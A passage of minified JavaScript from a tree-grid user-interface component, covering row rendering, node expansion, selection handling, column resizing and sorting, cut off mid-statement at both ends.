e=this._canvas;e.scrollTop=0;e.scrollLeft=0;this._scrollLeft=0;this._scrollTop=0;this._resetScroll=!1}finally{this._ignoreScroll=!1}}this.setDataSource(this._options.source,this._options.expandStates,this._options.columns,this._options.sortOrders);this._expandedCount>0?this._options.keepSelection&&this._selectedIndex>=0?this._selectRow(Math.min(this._selectedIndex,this._expandedCount-1)):this._selectRow(!1!==this._options.initialSelection?0:-1):this.setSelectedRowIndex(-1)}setDataSource(e,t,n,o,r,i,a){var s,l,c;this._rowInfoMap={};this._dataSource=e||[];this._count=c=this._dataSource.length;if(t){this._expandStates=t;this._indentLevels=v.expand(t)}else{this._indentLevels=null;this._expandStates=null}this.expandedCount=c;this._updateRanges();this._columns=[];if(n){var u=(e,t,n,o,r,i,a)=>this._drawCell(e,t,n,o,r,i,a),d=(e,t)=>this._drawHeaderCellValue(e,t),h=(e,t,n)=>this.getColumnValue(e,t,n);for(s=0,l=n.length;s<l;s++){var p=n[s];p.index=void 0!==p.index?p.index:String(s);p.canSortBy=!1!==p.canSortBy;p.canMove=!1!==p.canMove;p.width=void 0!==p.width?p.width:100;p.getCellContents=p.getCellContents||u;p.getHeaderCellContents=p.getHeaderCellContents||d;p.getColumnValue=p.getColumnValue||h;this._columns.push(p)}}this._sortOrder=[];if(o)for(s=0,l=o.length;s<l;s++){var m=o[s];"desc"!==m.order&&(m.order="asc");this._sortOrder.push(m)}this._clearSelection();this._determineIndentIndex();this._options.asyncInit?window.setImmediate(()=>{this._layoutAfterSetDataSource(r,i,a)}):this._layoutAfterSetDataSource(r,i,a)}getDataSource(){return this._dataSource}_layoutAfterSetDataSource(e,t,n){this.layout(void 0,t);this._ensureSelectedIndex(e);n&&this.scrollToBottom(()=>{});this._selectRow(e,null,null,!0===t)}_adjustForDynamicData(e,t,n){if(this._options.isGridEnabled){this._dataSource.splice(n+1,1);for(var o=0;o<e.length;o++)this._dataSource.splice(n+o+1,0,e[o]);this._mergeExpandStates(n,this._expandStates,t);var r=this._dataSource.length;this._count=r;this._expandStates?this._indentLevels=v.expand(this._expandStates):this._indentLevels=null;this.expandedCount=r;this._updateRanges();this._clearSelection();this._determineIndentIndex();this._layoutAfterSetDataSource(this._getRowIndex(n),!0)}}_ensureSelectedIndex(e){var t=this._selectedIndex;"number"==typeof e&&(this._selectedIndex=e);if(this._selectedIndex>=0){this._count<=this._selectedIndex&&(this._selectedIndex=this._count-1);this._selectedIndex!==t&&this._addSelection(this._selectedIndex)}}getRowInfo(e){return this._rows[e]}getRowData(e){return this._dataSource[e]}getColumns(){return this._columns||[]}getSortOrder(){return this._sortOrder||[]}insertAdditionalDynamicData(e,t){void 0!==e&&this._adjustForDynamicData(e.itemsWithPlaceholders,e.expandStates,t-1)}_determineIndentIndex(){var e,t,n=this._columns;for(e=0,t=n.length;e<t;e++)if(n[e].indent){this._indentIndex=e;return}this._indentIndex=0}_getDataIndex(e){var t,n,o,r=-1,i=this._visibleRange;if(e<0)return-1;for(t=0,n=i.length;t<n;t++)if(e<=(r+=(o=i[t]).end-o.start+1))return o.end-r+e;return e}_getRowIndex(e){var t,n,o,r=0,i=this._visibleRange;for(t=0,n=i.length;t<n&&e>=(o=i[t]).start;t++){if(e<=o.end)return r+e-o.start;r+=o.end-o.start+1}return-Math.max(0,r-1)}_updateRanges(){var e=0,t=0,n=this._count,o=[],r=0;if(this._expandStates){for(;e<n;){var i=this._expandStates[e];if(i<0){o[o.length]=new f(t,e);r+=e-t+1;t=e+=1-i}else e++}if(t<n){o[o.length]=new f(t,n-1);r+=n-t}}else{r=n;o[o.length]=new f(0,r)}this.expandedCount=r;this._visibleRange=o}expandNode(e){if(this._options.isGridEnabled){this._options.onRowToggleCallback&&this._options.onRowToggleCallback(this._dataSource,e,!0);this._dataSource[e+1].isPlaceholder&&this._getChildDataCallback(this._dataSource[e],t=>{void 0!==t&&this._adjustForDynamicData(t.itemsWithPlaceholders,t.expandStates,e)});if(this._expandStates){var t=this._expandStates[e];if(t<0){this._expandStates[e]=-t;this._updateRanges();var n=this._rows[e];n&&(n.isDirty=!0)}}}}collapseNode(e){if(this._options.isGridEnabled){if(this._expandStates){var t=this._expandStates[e];if(t>0){this._options.onRowToggleCallback&&this._options.onRowToggleCallback(this._dataSource,e,!1);this._expandStates[e]=-t;this._updateRanges();var n=this._rows[e];n&&(n.isDirty=!0)}}this.layout()}}expandAllNodes(){var e=0,t=this._count,n=this._expandStates,o=!1,r=this._rows;if(n){for(;e<t;){var i=n[e];if(i<0){n[e]=-i;o=!0;var a=r[e];a&&(a.isDirty=!0)}e++}o&&this._updateRanges()}return o}collapseAllNodes(){var e=0,t=this._count,n=this._expandStates,o=!1,r=this._rows;if(n){for(;e<t;){var i=n[e];if(i>0){n[e]=-i;o=!0;var a=r[e];a&&(a.isDirty=!0)}e++}o&&this._updateRanges()}return o}expandAll(){this._updateExpansionStateAndRedraw(()=>this.expandAllNodes)}collapseAll(){this._updateExpansionStateAndRedraw(()=>this.collapseAllNodes)}_updateExpansionStateAndRedraw(e){var t,n=this._selectedIndex;n>=0&&(t=this._getDataIndex(n));e();if(n>=0){this._clearSelection();this._addSelection(Math.abs(this._getRowIndex(t)))}this._layoutContentSpacer();this._redraw();this._notifyForPrerender()}tryToggle(e,t,n){var o;if(!this._expandStates||this._selectedIndex<0||this._expandedCount<=0)return!1;var r=void 0!==n?n:this._getDataIndex(this._selectedIndex);if(!this._rows[r])return!1;if(0!==(o=this._expandStates[r])){if(e){if(!(o<0))return!1;this.expandNode(r)}else{if(!(o>0))return!1;this.collapseNode(r)}this._clearSelection();this._addSelection(this._getRowIndex(r),null,null,!0);this._layoutContentSpacer();this._redraw();this._notifyForPrerender();return!0}return!1}layoutOnResize(){this._onContainerResize()}_getVisibleRowIndices(){var e=this._scrollTop,t=e+this._canvasHeight,n=this._expandedCount-1,o=this._measurements.rowHeight||1;return{first:Math.min(n,Math.max(0,Math.ceil(e/o))),last:Math.min(n,Math.floor(t/o)-1)}}_getRowIntoView(e,t){if(t){this._canvas.scrollTop=Math.max(0,Math.min(e||0,this._expandedCount-1))*this._measurements.rowHeight;return!0}var n=this._getVisibleRowIndices(),o=n.first,r=n.last,i=r-o;if(e<o||e>r){o=this._selectedIndex>o?Math.max(e-i,0):Math.max(0,Math.min(e+i,this._expandedCount-1)-i);this._canvas.scrollTop=o*this._measurements.rowHeight;return!0}return!1}getSelectedRowIntoView(e){return this._getRowIntoView(this._selectedIndex,e)}cacheRows(e,t,n){}_updateViewport(e,t){for(var n=this._count,o=[],r=[],i=[],a=this._expandStates||[],s=this._expandedCount-1,l=this.getViewPortRanges(),c=Math.max(0,l.start-this._options.payloadSize),u=Math.min(s,l.end+this._options.payloadSize),d=this._getDataIndex(c),h=c;h<=u&&d<n;h++){if(h<l.start)o[o.length]=new m(h,d);else if(h>l.end)r[r.length]=new m(h,d);else{i[i.length]=new m(h,d);this._lastRenderedDataIndex=d}var p=a[d];p<0?d+=1-p:d++}this.measureColumnSize(t);this.cacheRows(o,i,r);this._drawRows(i,e)}_cleanUpRows(){var e,t=this._rows,n=this._gutter;for(e in t){var o=t[e];if(o.row.parentElement){o.row.parentElement.removeChild(o.row);delete this._rowInfoMap[o.row.id]}n&&o.gutterRow.parentElement&&o.gutterRow.parentElement.removeChild(o.gutterRow)}this._rows={}}_drawRows(e,t){var n,o,r=this._expandStates,i=0,a=this._indentLevels,s=0,l=this._gutter,c=this._canvas;if(this._editBoxControl){this._editBoxControl.dismiss();this._editBoxControl=null}var u=document.createDocumentFragment(),d=null;if(l){n=this._gutter;d=document.createDocumentFragment()}var h=this._rows,p={};this._rows=p;for(var m=e.length,g=0;g<m;g++){var f=e[g],_=f.rowIndex,v=f.dataIndex,b=h[v];if(b){if(o=b.rowIndex!==_){b.rowIndex=_;b.row.id="row_"+this._getId()+"_"+_;this._rowInfoMap[b.row.id]=b}else{o=b.isDirty;delete b.isDirty}t&&(o=!0);delete h[v]}else{o=!0;var C=this.createElementWithClass("div","grid-row grid-row-normal");C.id="row_"+this._getId()+"_"+_;C.setAttribute("role","row");u.appendChild(C);var y={rowIndex:_,dataIndex:v,row:C};if(l){var E=this.createElementWithClass("div","grid-gutter-row grid-gutter-row-normal");d.appendChild(E);E.id="gtr_"+C.id;this._rowInfoMap[E.id]=y;y.gutterRow=E}this._rowInfoMap[C.id]=y;b=y}p[v]=b;if(o){if(r){i=r[v];s=a[v];b.row.setAttribute("aria-level",""+s)}this._updateRow(b,_,v,i,s)}}for(var S in h){b=h[S];if(l){delete this._rowInfoMap[b.gutterRow.id];b.gutterRow.parentElement.removeChild(b.gutterRow)}delete this._rowInfoMap[b.row.id];b.row.parentElement.removeChild(b.row)}c.appendChild(u);l&&n.appendChild(d)}updateRow(e,t){var n=0,o=0;void 0===t||t<0?t=this._getDataIndex(e):(void 0===e||e<0)&&(e=this._getRowIndex(t));var r=this._rows[t];if(r){if(this._expandStates){n=this._expandStates[t];o=this._indentLevels[t]}this._updateRow(r,e,t,n,o)}}_updateRow(e,t,n,o,r){var i=this._indentIndex;if(this._gutter){var a=this._options.gutter,s=e.gutterRow.firstElementChild;s.style.top=t*this._measurements.rowHeight+"px";s.style.left="0px";s.style.width=this._measurements.gutterWidth+"px";s.style.height=this._measurements.rowHeight+"px";if(a.checkbox){var l=this.createElementWithClass("input","checkbox "+(a.checkbox.cssClass||""));l.setAttribute("type","checkbox");var c=this.createElementWithClass("div","grid-gutter-cell grid-gutter-checkbox");c.appendChild(l[0]);s.appendChild(c)}if(a.icon){var u="grid-gutter-cell grid-gutter-icon ";void 0!==a.icon.cssClass&&(u+=a.icon.cssClass+" ");void 0!==a.icon.index&&(u+=(this.getColumnValue(n,a.icon.index,-1)||"")+" ");!1!==a.icon.ownerDraw&&(u+=this._getGutterIconClass(t,n,o,r)||"");var d=this.createElementWithClass("div",u);s.appendChild(d)}this._drawGutterCell(e,t,n,o,r)}var h=e.row;h.innerHTML="";h.style.top=t*this._measurements.rowHeight+"px";h.style.left=this._measurements.gutterWidth+"px";h.style.height=this._measurements.rowHeight+"px";h.style.width=isNaN(this._contentSize.width)?"":this._contentSize.width+2+"px";for(var p=this._columns,m=0,g=p.length;m<g;m++){var f=p[m];if(!f.hidden){var _=f.getCellContents(e,n,o,r,f,i,m);if(_){_.setAttribute("role","gridcell");_.setAttribute("aria-readonly",!_.classList.contains("grid-cell-editable")+"");h.appendChild(_)}}}v.makeElementUnselectable(h);this._gutter&&v.makeElementUnselectable(s);this._updateRowSelectionStyle(e,this._selectedRows,this._selectedIndex);h.removeEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler);if(0!==o){h.setAttribute("aria-expanded",o>0?"true":"false");h.addEventListener("DOMAttrModified",this._onAriaExpandedModifiedHandler)}}_getGutterIconClass(e,t,n,o){return""}_drawGutterCell(e,t,n,o,r){}static _setTooltip(e,t,n){var o={content:t,height:n};e.setAttribute("data-plugin-vs-tooltip",JSON.stringify(o))}_drawCell(e,t,n,o,r,i,a){var s,l=r.width||20,c=this.createElementWithClass("div","grid-cell");c.style.width=isNaN(l)?String(l):l+"px";if(r.cellDecorator){var u=this._dataSource[t];r.cellDecorator(c,u)}else{void 0!==r.hrefIndex&&(s=this.getColumnValue(t,r.hrefIndex,-1));var d=this.getColumnText(t,r,a),h=!1;if(d.length>v.MAX_CELL_CONTENT_SIZE){h=!0;c.setAttribute("grid-edit-value",d);d=d.substr(0,v.MAX_CELL_CONTENT_SIZE)}"function"==typeof r.getCellTooltip?v._setTooltip(c,r.getCellTooltip(t,r.index,a,this._dataSource),v.DEFAULT_TOOLTIP_HEIGHT):r.hasHTMLContent||r.hasMixedContent&&r.getCellCSSClass&&-1!==r.getCellCSSClass(t,r.index,a,this._dataSource).indexOf("grid-mixed-cell-html")||v._setTooltip(c,h?d+"...":d,v.DEFAULT_TOOLTIP_HEIGHT);if(s){var p=document.createElement("a");p.setAttribute("href",s);p.setAttribute("tabindex","-1");p.innerText=d;c.appendChild(p)}else d?r.hasHTMLContent||r.hasMixedContent&&r.getCellCSSClass&&-1!==r.getCellCSSClass(t,r.index,a,this._dataSource).indexOf("grid-mixed-cell-html")?c.innerHTML=d:c.innerText=d:c.innerHTML="&nbsp;"}if(a===i&&o>0){var m=o*v.INDENT_WIDTH-13;r.indentOffset=m;if(0!==n){var g=this.createElementWithClass("div","icon grid-tree-icon");g.style.left=m+"px";c.appendChild(g);n>0?g.classList.add("icon-tree-expanded"):g.classList.add("icon-tree-collapsed")}c.style.textIndent=o*v.INDENT_WIDTH+"px"}if(r.hasGlyph){var f=2,_=r.getGlyphClass(t,r.index,a,this._dataSource);if(_&&""!==_){var b=this.createElementWithClass("div",_+" grid-cell-glyph");b.style.left=o*v.INDENT_WIDTH+f+"px";c.appendChild(b);c.style.textIndent=o*v.INDENT_WIDTH+v.GLYPH_WIDTH+f+"px"}}if(r.getCellCSSClass){var C=r.getCellCSSClass(t,r.index,a,this._dataSource);if(C)for(var y=C.trim().split(" "),E=0;E<y.length;E++)y[E]&&c.classList.add(y[E])}r.rowCss&&c.classList.add(r.rowCss);return c}_drawSplitters(){if(this._options.drawRowSplitters&&this._dataSource.length>0){for(var e=this._canvas.querySelectorAll(".grid-row-splitter"),t=0;t<e.length;t++){var n=e[t];n.parentElement.removeChild(n)}var o=this.getRowInfo(this._lastRenderedDataIndex),r=0;if(o){var i=this._canvas.scrollHeight-1+"px";for(t=0;t<this._columns.length-1;t++){var a=this._columns[t];if(!a.hidden){var s=this.createElementWithClass("div","grid-row-splitter");r+=parseInt(o.row.children[t].style.width);s.style.left=r+"px";s.style.height=i;s.setAttribute("grid-splitter-index",""+t);if(a.fixed||this._columns[t+1].fixed)s.classList.add("fixed");else{s.addEventListener("mousedown",e=>{this._onSplitterMouseDown(e)});s.addEventListener("dblclick",e=>{this._onSplitterDblClick(e)})}this._canvas.appendChild(s)}}}}}_drawHeader(){var e=this._columns,t=this._sortOrder;if(this._header){for(var n=document.createDocumentFragment(),o=0,r=e.length;o<r;o++){var i=e[o];if(!i.hidden){var a=this.createElementWithClass("div","grid-header-column");v._setTooltip(a,i.tooltip,v.DEFAULT_TOOLTIP_HEIGHT);a.style.width=(i.width||20)+"px";a._data={columnIndex:o,header:!0};var s=this.createElementWithClass("div","separator");i.fixed&&(s.style.cursor="auto");s._data={columnIndex:o,separator:!0};a.appendChild(s);var l=i.getHeaderCellContents(i,o);i.headerCss&&l.classList.add(i.headerCss);i.tooltip&&v._setTooltip(l,i.tooltip,v.DEFAULT_TOOLTIP_HEIGHT);a.appendChild(l);var c=this.createElementWithClass("div","sort-handle");t.forEach(e=>{if(e.index===i.index){"asc"===e.order?a.classList.add("ascending"):"desc"===e.order&&a.classList.add("descending");return!1}});a.appendChild(c);n.appendChild(a)}}this._headerCanvas.innerHTML="";this._headerCanvas.appendChild(n);v.makeElementUnselectable(this._header)}}_drawHeaderCellValue(e,t){var n=document.createElement("div");n.classList.add("title");n.innerText=e.text||"";t===this._indentIndex&&void 0!==this._indentLevels&&null!==this._indentLevels&&n.classList.add("indented-title");return n}_layoutContentSpacer(){for(var e=0,t=this._columns,n=0,o=t.length;n<o;n++)t[n].hidden||(e+=(t[n].width||20)+this._measurements.cellOffset);e+=2;var r=Math.max(1,this._expandedCount*this._measurements.rowHeight);this._contentSpacer.style.width=e+"px";this._contentSpacer.style.height=r+"px";this._gutter&&(this._gutter.style.height=r+"px");this._ignoreScroll=!0;try{var i=Math.max(0,Math.min(this._scrollTop,r-this._canvasHeight));if(i!==this._scrollTop){this._scrollTop=i;this._canvas.scrollTop=i}var a=Math.max(0,Math.min(this._scrollLeft,e-this._canvasWidth));if(a!==this._scrollLeft){this._scrollLeft=a;this._canvas.scrollLeft=a}}finally{this._ignoreScroll=!1}this._contentSize.width=e;this._contentSize.height=r}_layoutHeader(){this._header&&(this._headerCanvas.style.left=this._measurements.gutterWidth-this._scrollLeft+"px");this._gutter&&(this._gutter.style.left=this._scrollLeft+"px")}layout(e,t=!0){this._measureCanvasSize();var n=-1;document.activeElement&&this._canvas.contains(document.activeElement)&&(n=this._selectedIndex);this._cleanUpRows();this._fixScrollPos();this._layoutContentSpacer();this._updateViewport(!1,e);!document.activeElement&&n>=0&&this._addSelection(n,null,null,t);this._layoutHeader();this._drawHeader();this._drawSplitters()}_fixScrollPos(){var e=this._ignoreScroll;this._ignoreScroll=!0;try{this._canvas.scrollLeft=this._scrollLeft;this._canvas.scrollTop=this._scrollTop}finally{this._ignoreScroll=e}}redraw(){this._fixScrollPos();this._redraw(!0)}_redraw(e){this._layoutHeader();this._updateViewport(e)}getColumnValue(e,t,n){return this._dataSource[e][t]}getColumnText(e,t,n){var o,r=t.getColumnValue(e,t.index,n,this._dataSource);o="string"!=typeof r?v.convertValueToDisplayString(r,t.format):r;t.maxLength=Math.max(t.maxLength||0,o.length);return o}_getExpandState(e){var t=0;this._expandStates&&"number"==typeof this._expandStates[e]&&(t=this._expandStates[e]);return t}getViewPortRanges(){var e=this._expandedCount-1,t=this._getVisibleRowIndices(),n=t.first,o=t.last;n=Math.max(0,n-this._options.extendViewportBy);o=Math.min(e,o+this._options.extendViewportBy);var r=this._getDataIndex(n),i=this._getDataIndex(o);return new f(Math.min(r,n),Math.max(i,o))}scrollToBottom(e){this._scrollRenderComplete=e;if(this._canvas.scrollTop+this._canvas.clientHeight>=this._canvas.scrollHeight){if(this._scrollRenderComplete){this._scrollRenderComplete();this._scrollRenderComplete=null}}else this._canvas.scrollTop=this._canvas.scrollHeight}setViewState(e){this._options.isGridEnabled=e;e?this.rootElement.classList.remove("busy"):this.rootElement.classList.add("busy")}_selectRow(e,t,n,o){var r=n&&n.ctrl,i=n&&n.shift,a=n&&n.rightClick;if(r)this._addSelection(e,t,{toggle:!0});else if(i){this._clearSelection();this._addSelectionRange(e,t)}else if(a)if(this._selectedRows&&this._selectedRows.hasOwnProperty(e)){this._selectedIndex=e;this._updateAriaAttribute()}else{this._clearSelection();this._addSelection(e,t)}else{this._clearSelection();this._addSelection(e,t,null,o)}}_selectAll(){if(this._count>0&&!1!==this._options.allowMultiSelect){this._clearSelection();this._selectionStart=0;var e=Math.max(0,this._selectedIndex);this._addSelectionRange(this._count-1,void 0,{doNotFireEvent:!0});this._selectedIndex=e;this._updateSelectionStyles();this._selectionChanged()}}getSelectedRowIndex(){return this._selectedIndex}setSelectedRowIndex(e){this._clearSelection();this._addSelection(e)}getSelectedDataIndex(){return this._getDataIndex(this._selectedIndex)}getSelectedDataIndices(){var e,t=this._selectedRows,n=[];if(t)for(e in t)n[n.length]=t[e];return n}ensureDataIndexExpanded(e){for(var t=this._getRowIndex(e);t<0||e>0&&0===t;){this.expandNode(this._getDataIndex(-t));t=this._getRowIndex(e)}return t}setSelectedDataIndex(e,t){var n=t?this.ensureDataIndexExpanded(e):this._getRowIndex(e);this.setSelectedRowIndex(n)}focus(e){var t=()=>{if(document.activeElement!==this._canvas)try{if(this._selectedIndex>-1){var e=this._getDataIndex(this._selectedIndex),t=this._rows[e];if(t){var n=t.row;n&&n.focus()}}}catch(e){}};e?window.setTimeout(()=>{t()},e):t()}_clearSelection(){this._selectionCount=0;this._selectedRows=null}_addSelection(e,t,n,o){var r=n&&n.keepSelectionStart,i=n&&n.doNotFireEvent,a=n&&n.toggle;if(!1===this._options.allowMultiSelect){r=!1;this._clearSelection()}this._selectedRows||(this._selectedRows={});if(e>=0){var s=!0;if(this._selectedRows.hasOwnProperty(e)){if(a){s=!1;this._selectionCount=Math.max(0,this._selectionCount-1);delete this._selectedRows[e]}}else this._selectionCount++;"number"!=typeof t&&(t=this._getDataIndex(e));s&&(this._selectedRows[e]=t);this._selectedIndex=e;this._updateAriaAttribute();(this._selectionStart<0||!r)&&(this._selectionStart=e)}else{t=-1;this._selectedIndex=-1}if(!i){this._updateSelectionStyles();this._selectionChanged();o&&this.focus();this._selectedIndexChanged(this._selectedIndex,t)}}_addSelectionRange(e,t,n){var o,r=n&&n.doNotFireEvent,i=-1;if(!1===this._options.allowMultiSelect)this._addSelection(e,t);else{this._selectedRows&&(i=this._selectedRows[this._selectedIndex]);this._selectionStart<0&&(this._selectionStart=e);var a=Math.min(this._selectionStart,e),s=Math.max(this._selectionStart,e);"number"==typeof t&&a===e||(t=this._getDataIndex(a));for(var l=a;l<=s;l++){this._addSelection(l,t,{keepSelectionStart:!0,doNotFireEvent:!0});l===e&&(o=t);var c=this._getExpandState(t);c<0?t+=1-c:t++}this._selectedIndex=e;this._updateAriaAttribute();if(!r){this._updateSelectionStyles();this._selectionChanged();i!==o&&this._selectedIndexChanged(this._selectedIndex,o)}}}_updateAriaAttribute(){if(this._active){var e=this._getDataIndex(this._selectedIndex);if(e>=0){var t=this.getRowInfo(e);if(t&&t.row){var n=t.row.getAttribute("id");if(n!==this._activeAriaId){this._canvas.setAttribute("aria-activedescendant",n);this._activeAriaId=n}}}}}_updateSelectionStyles(){this._delayedUpdateCookie&&window.clearTimeout(this._delayedUpdateCookie);this._delayedUpdateCookie=window.setTimeout(()=>{var e,t=this._selectedRows,n=this._selectedIndex,o=this._rows;for(e in o){var r=o[e];this._updateRowSelectionStyle(r,t,n)}},10)}_selectionChanged(){this.selectionChanged(this._selectedIndex,this._selectionCount,this._selectedRows);this.fireCustomEvent(this._element,"selectionchanged",[{selectedIndex:this._selectedIndex,selectedCount:this._selectionCount,selectedRows:this._selectedRows}])}selectionChanged(e,t,n){}_selectedIndexChanged(e,t){this.selectedIndexChanged(e,t);this.fireCustomEvent(this._element,v.EVENT_SELECTED_INDEX_CHANGED,[e,t])}selectedIndexChanged(e,t){}_updateRowSelectionStyle(e,t,n){var o=e.rowIndex,r=e.row,i=e.gutterRow;r.classList.remove("grid-row-selected");r.classList.remove("grid-row-selected-blur");r.classList.remove("grid-row-current");r.setAttribute("tabindex","-1");if(i){i.classList.remove("grid-gutter-row-selected");i.classList.remove("grid-gutter-row-selected-blur");i.classList.remove("grid-gutter-row-current");i.querySelector("input.checkbox").setAttribute("checked",String(!1))}if(t&&t.hasOwnProperty(o)){i&&i.querySelector("input.checkbox").setAttribute("checked",String(!0));if(this._active){r.classList.add("grid-row-selected");r.setAttribute("tabindex","1");i&&i.classList.add("grid-gutter-row-selected")}else{r.classList.add("grid-row-selected-blur");r.setAttribute("tabindex","1");i&&i.classList.add("grid-gutter-row-selected-blur")}}if(o===n){r.classList.add("grid-row-current");i&&i.classList.add("grid-gutter-row-current")}}_notifyForPrerender(){if(this._options.prerenderCallback){var e=this.getViewPortRanges();this._options.prerenderCallback(e.start,e.end)}}measureColumnSize(e){for(var t=this._canvas.clientWidth-(this.isVerticalScrollbarVisible?0:17),n=0;n<this._columns.length;n++){(o=this._columns[n]).fixed&&(t-=o.width)}if(t>0){if(e)for(n=0;n<this._columns.length;n++){!(o=this._columns[n]).fixed&&o.percentWidth&&(o.percentWidth=o.width/t)}for(n=0;n<this._columns.length;n++){var o;!(o=this._columns[n]).fixed&&o.percentWidth&&(o.width=t*o.percentWidth)}}}_onContainerMouseDown(e){e.target.classList.contains("grid-edit-box")||this.focus(10)}_measureCanvasSize(){this._canvasHeight=this._canvas.clientHeight;this._canvasWidth=this._canvas.clientWidth}_onContainerResize(){this._resizeLayoutTimeout||(this._resizeLayoutTimeout=window.setTimeout(()=>{this._takeMeasurements();this.measureColumnSize(!1);this.layout();this._notifyForPrerender();this._resizeLayoutTimeout=null},200))}_setupMoveEvents(){document.addEventListener("mousemove",e=>this._onDocumentMouseMove(e));document.addEventListener("mouseup",()=>this._onDocumentMouseUp())}_clearMoveEvents(){document.removeEventListener("mousemove",null,!0);document.removeEventListener("mouseup",null,!0)}_onDocumentMouseMove(e){var t=this._columnSizing;if(t&&!0===t.active){var n=e.pageX-t.origin,o=Math.max(15,t.originalWidth+n);this._columns[t.index].width=o;this._applyColumnSizing(t.index);this._moveSizingElement(t.index)}}_onDocumentMouseUp(){window.setImmediate(()=>{this._tryFinishColumnSizing(!1)});return!1}_onHeaderMouseDown(e){if(1!==e.which)return!0;var t=this.findClosestElement(e.target,".separator");if(t&&t._data){var n=t._data.columnIndex,o=this._columns[n];if(!o.fixed){this._columnSizing=new _(!0,n,o.width,e.pageX);this._moveSizingElement(n);this._setupMoveEvents();e.stopImmediatePropagation();e.preventDefault();return!1}}}_onHeaderMouseUp(){return!1}_onHeaderClick(e){var t=this.findClosestElement(e.target,".grid-header-column");if(t&&!this._columnSizing){var n=this.findClosestElement(e.target,".separator");if(n&&n._data)return!1;if(t._data){var o=t._data.columnIndex,r=this._columns[o];r.canSortBy&&!r.fixed&&this._sortBy(r,e.shiftKey,this._options.alwaysForceSort)}}}_onHeaderDblClick(e){var t=this.findClosestElement(e.target,".separator");if(t&&t._data){this._tryFinishColumnSizing(!0);var n=t._data.columnIndex,o=this._columns[n],r=Math.max(o.maxLength||0,3),i=1.1+.7*Math.exp(-r/20),a=o.width;o.width=(o.indentOffset||0)+Math.round(r*i*this._measurements.unitEx);this._applyColumnSizing(n,a,!0);return!1}}getCellContentWidth(e){if(document.createRange){var t=document.createRange();if(e.firstChild&&e.firstChild.nodeType===Node.TEXT_NODE){t.selectNodeContents(e.firstChild);var n=t.getBoundingClientRect();return parseInt(e.style.textIndent,10)+n.width}}return e.clientWidth}_onSplitterDblClick(e){var t=0,n=e.target;if(n){var o=parseInt(n.getAttribute("grid-splitter-index"),10);t=0;for(var r in this._rows){var i=this._rows[r];if(i){var a=this.getCellContentWidth(i.row.children[o]);t=t>a?t:a}}var s=this._columns[o],l=this._columns[o+1];s.hasGlyph&&(t+=v.GLYPH_WIDTH);var u=s.width-(t+3),d=s.width-u,h=l.width+u;if(d>=c.MIN_RESIZE_WIDTH&&h>=c.MIN_RESIZE_WIDTH){s.width-=u;l.width+=u;window.setImmediate(()=>{this.layout(!0)})}else if(h<c.MIN_RESIZE_WIDTH){d-=c.MIN_RESIZE_WIDTH-h;h=c.MIN_RESIZE_WIDTH}}}_onSplitterMouseDown(e){var t,n,o,r,i=e=>{var n=document.querySelector(".grid-row-splitter.active");if(n){var i=e.clientX-t,a=o.width+i,s=r.width-i;if(a>=c.MIN_RESIZE_WIDTH&&s>=c.MIN_RESIZE_WIDTH){n.style.left=n.offsetLeft+i+"px";t=e.clientX;o.width+=i;r.width-=i}}},a=()=>{var e=document.querySelector(".grid-row-splitter.active");if(e){e.classList.remove("active");window.setImmediate(()=>{this.layout(!0)})}document.removeEventListener("mousemove",i);document.removeEventListener("mouseup",a)};if(0===e.button){var s=e.target;n=parseInt(s.getAttribute("grid-splitter-index"),10);o=this._columns[n];r=this._columns[n+1];if(!o.fixed&&!r.fixed){s.classList.add("active");t=e.clientX;document.addEventListener("mousemove",i);document.addEventListener("mouseup",a)}}}_moveSizingElement(e){var t=this._measurements.gutterWidth;if(!this._sizingElement){if(e<0)return;this._sizingElement=this.createElementWithClass("div","grid-column-sizing");this._canvas.appendChild(this._sizingElement)}this._sizingElement.style.height=this._canvas.clientHeight-1+"px";this._sizingElement.style.top=this._scrollTop+"px";if(e<0){this._sizingElement.style.left="-5000px";this._sizingElement.style.top="-5000px";this._sizingElement.style.height="0px"}else{for(var n=0;n<=e;){var o=this._columns[n++];o.hidden||(t+=o.width)}this._sizingElement.style.left=t-1+"px"}}_getVisibleColumnIndex(e){var t=0,n=0;if(this._columns[e].hidden)return-1;for(;t<e;){this._columns[t].hidden||n++;t++}return n}_applyColumnSizing(e,t,n){var o=this._getVisibleColumnIndex(e)+1,r=this._columns[e],i=!1;t=t||-1;if(r){i=r.width!==t;this.rootElement.querySelector(".grid-header-canvas .grid-header-column:nth-child("+o+")").style.width=r.width+"px"}if(!0===n){i&&this.layout();this._onColumnResize(r)}}_onColumnResize(e){this.fireCustomEvent(this._element,"columnresize",[e])}_tryFinishColumnSizing(e){var t=this._columnSizing;if(t){if(!0===t.active){e||this._applyColumnSizing(t.index,t.originalWidth,!0);this._moveSizingElement(-1)}this._columnSizing=null;this._clearMoveEvents()}}_getSortColumns(e){for(var t=this._columns,n=[],o=0,r=e.length;o<r;o++){var i,a=e[o];t.forEach(function(e){if(e.index===a.index){i=e;return!1}});n.push(i)}return n}_sortBy(e,t,n){var o=this._sortOrder.slice(0),r=!1;if(e){for(var i=0,a=o.length;i<a;i++){if((s=o[i]).index===e.index){o.splice(i,1);r=!0;break}}var s;s=r?new u(s.index,"asc"===s.order?"desc":"asc"):new u(e.index,"asc");t&&this._options.allowSortOnMultiColumns?o.push(s):o=[s]}var l=this._getSortColumns(o);this._onSort(o,l,n)}_onSort(e,t,n=!1){!1!==this.onSort(e,t,n)&&this.fireCustomEvent(this._element,"sort",[{sortOrder:e,sortColumns:t}])}onSort(e,t,n=!1){if(this._options.autoSort){this._trySorting(e,t,n);this._sortOrder=e;this.layout()}return!0}_trySorting(e,t,n=!1){t||(t=this._getSortColumns(e));var o=[],r=0;for(var i in this._selectedRows){var a=this._selectedRows[i],s=this._dataSource[a];if(s){o.push(s);r+=parseInt(i)}}var c=new d(null,null);v.addItemsToTree(this._dataSource,this._expandStates,0,this._dataSource.length,c);this._sortOrder&&1===this._sortOrder.length&&1===e.length&&this._sortOrder[0]!==e[0]&&this._sortOrder[0].index===e[0].index&&!n?this._sortOrder[0].order!==e[0].order&&v.walkTree(c,n=>{l.stableReverse(n.children,(n,o)=>l.sortComparer(e,t,n.data,o.data))}):v.walkTree(c,n=>{n.children.sort((n,o)=>l.sortComparer(e,t,n.data,o.data))});this._dataSource=[];this._expandStates=[];for(var u=0;u<c.children.length;u++)v.walkTree(c.children[u],e=>{this._dataSource.push(e.data);this._expandStates.push(e.expandState)});this._indentLevels=v.expand(this._expandStates);this._updateRanges();if(this._selectionCount>0){this._clearSelection();var 